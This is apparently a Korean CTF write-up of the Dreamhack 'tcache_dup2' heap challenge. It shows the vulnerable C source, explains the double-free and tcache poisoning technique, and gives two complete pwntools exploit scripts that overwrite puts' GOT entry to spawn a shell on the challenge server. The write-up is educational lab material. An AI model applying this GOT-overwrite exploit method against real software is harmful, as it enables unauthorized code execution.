본문 바로가기

시스템해킹

[드림핵] tcache_dup2 풀이

728x90

 

보호기법 확인

partial relro, nx, pie 들어가 있다.

got를 사용해서 풀수도 있겠다.

 

 

 

문제코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[7];

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void create_heap(int idx) {
    size_t size;

    if (idx >= 7)
        exit(0);

    printf("Size: ");
    scanf("%ld", &size);

    ptr[idx] = malloc(size);

    if (!ptr[idx])
        exit(0);

    printf("Data: ");
    read(0, ptr[idx], size-1);
}

void modify_heap() {
    size_t size, idx;

    printf("idx: ");
    scanf("%ld", &idx);

    if (idx >= 7)
        exit(0);

    printf("Size: ");
    scanf("%ld", &size);

    if (size > 0x10)
        exit(0);

    printf("Data: ");
    read(0, ptr[idx], size);
}

void delete_heap() {
    size_t idx;

    printf("idx: ");
    scanf("%ld", &idx);
    if (idx >= 7)
        exit(0);

    if (!ptr[idx])
        exit(0);

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}
int main() {
    int idx;
    int i = 0;

    initialize();

    while (1) {
        printf("1. Create heap\n");
        printf("2. Modify heap\n");
        printf("3. Delete heap\n");
        printf("> ");

        scanf("%d", &idx);

        switch (idx) {
            case 1:
                create_heap(i);
                i++;
                break;
            case 2:
                modify_heap();
                break;
            case 3:
                delete_heap();
                break;
            default:
                break;
        }
    }
}

 

main함수에서는 case 별로 할당, 해제, 변조 등을 실행할 수 있다

case 1 : 원하는 크기 메모리 할당, 데이터 넣기

case 2 : 원하는 index변수의 값 넣기

case 3 : 원하는 index변수를 free로 해제하기

 

case 3 delete_heap 함수에서는 free로 해제를 진행한뒤 초기화를 진행하지 않기 때문에 dfb를 실행할 수 있다.

 

create로 청크를 할당한뒤 delete로 같은 청크를 두번 해제하고 

청크는 연결리스트 형태로 되어있기 때문에 got를 사용해

get_shell의 주소를 붙여준다면 flag를 얻을 수 있다.

 

또 주의해야할 점은 청크를 할당하고 해제하는 과정에서 tc_idx값이 증가하게 되는데
tc_idx값이 0일때는 tcache에 청크를 할당하지 않는다. 이점을 생각해야 한다.

그리고 tc_idx가 1이상일 때 청크를 할당하면 tc_idx가 1 줄어든다.

 

요약하자면 

청크 할당 후 dfb를 일으키고 그 청크에 got값을 넣고
청크 할당으로 get_shell주소를 넣어 flag를 얻는다.

 

 

 

두가지 방법으로 문제를 풀었는데 일단 처음 문제를 풀었던 방법 먼저 쓰겠다.

 

 

 

익스플로잇 과정

1. tcache posioning

2. got overwrite

 

 

 

gdb 확인

처음에는 printf_got를 사용하려했지만 잘 안되길래

익스 코드 자체가 잘못된줄 알았지만

puts를 사용하니 문제가 해결되었었다.

그리고 puts는 gdb로 봤을때 main에서 실행되었었다.

 

got에 값을 덮어씌우는 과정에서 다른값에도 영향이 갔거나

printf의 형태가 printf("%s", a) 같은 형태를 가져서 그런가 싶다.

 

 

 

익스플로잇 코드 

from pwn import *
p = remote('host3.dreamhack.games', 16792)
e = ELF('./tcache_dup2')

def create(size, data):
    p.sendlineafter('> ', str(1))
    p.sendlineafter('Size: ', str(size)) # idx < 7
    p.sendafter('Data: ', data)

def modify(idx, size, data):
    p.sendlineafter('> ', str(2))
    p.sendlineafter('idx: ', str(idx))
    p.sendlineafter('Size: ', str(size)) # idx < 7 / size <= 0x10
    p.sendafter('Data: ', data)

def delete(idx):
    p.sendlineafter('> ', str(3))
    p.sendlineafter('idx: ', str(idx)) # idx < 7

# tcache posioning
create(0x30, b'dummy')
delete(0)
modify(0, 0x10, b'a'*8 + b'\x00')
delete(0)

modify(0, 0x10, p64(e.got['puts']))
create(0x30, b'a')
create(0x30, p64(e.symbols['get_shell']))

p.interactive() # dfb 보호기법 존재함

 

remote를 사용해서 간단하게 dfb에 보호기법이 들어가있는지 확인했다.

한 청크를 두번 해제하기 전에 modify함수로 값을 바꾸어 주었다.

dfb를 일으킨 후에 puts got값을 넣어주고

create로 get_shell의 주소값을 넣어주었다.

이 코드를 작성할 때는 tc_idx를 신경쓸 생각을 하지 못하고 풀었다.

 

 

 

 

###다른 익스 코드###

from pwn import *
p = remote('host3.dreamhack.games', 11138)
e = ELF('./tcache_dup2')
libc = ELF('./libc-2.30.so')

def create(size, data):
    p.sendlineafter('> ', str(1))
    p.sendlineafter('Size: ', str(size)) # idx < 7
    p.sendafter('Data: ', data)

def modify(idx, size, data):
    p.sendlineafter('> ', str(2))
    p.sendlineafter('idx: ', str(idx))
    p.sendlineafter('Size: ', str(size)) # idx < 7 / size <= 0x10
    p.sendafter('Data: ', data)

def delete(idx):
    p.sendlineafter('> ', str(3))
    p.sendlineafter('idx: ', str(idx)) # idx < 7

# tcache posioning
create(0x30, b'dummy')
create(0x30, b'dummy')

delete(0)
delete(1)

modify(1, 0x10, p64(e.got['puts']))
create(0x30, b'a')
create(0x30, p64(e.symbols['get_shell']))

p.interactive()

 

메모리할당을 두번 한뒤에 해제하는 방법도 해봤다.

첫번째 방법으로 문제를 푼 뒤 tc_idx 이야기가 나와

다시 해보았다.

 

 

 

실행 결과

 

 

 

 

문제 실패 과정

1. printf_got를 사용할때 문제가 생겼는데

gdb로 확인에 어려움이 있어 다른 시도를 해보았다.

 

2. ptr 변수의 idx값을 청크를 추가하는 과정에서 너무 의식했다

연결리스트로 이루어져있다는 것을 생각해 문제를 해결했다.

'시스템해킹' 카테고리의 다른 글

[드림핵] cmd_center 풀이  (0) 2024.07.21
[드림핵] sint 풀이  (0) 2024.07.21
[드림핵] tcache_dup 풀이  (0) 2024.07.14
[드림핵] Tcache Poisoning 풀이  (2) 2024.07.14
[드림핵] uaf_overwrite 풀이  (0) 2024.06.25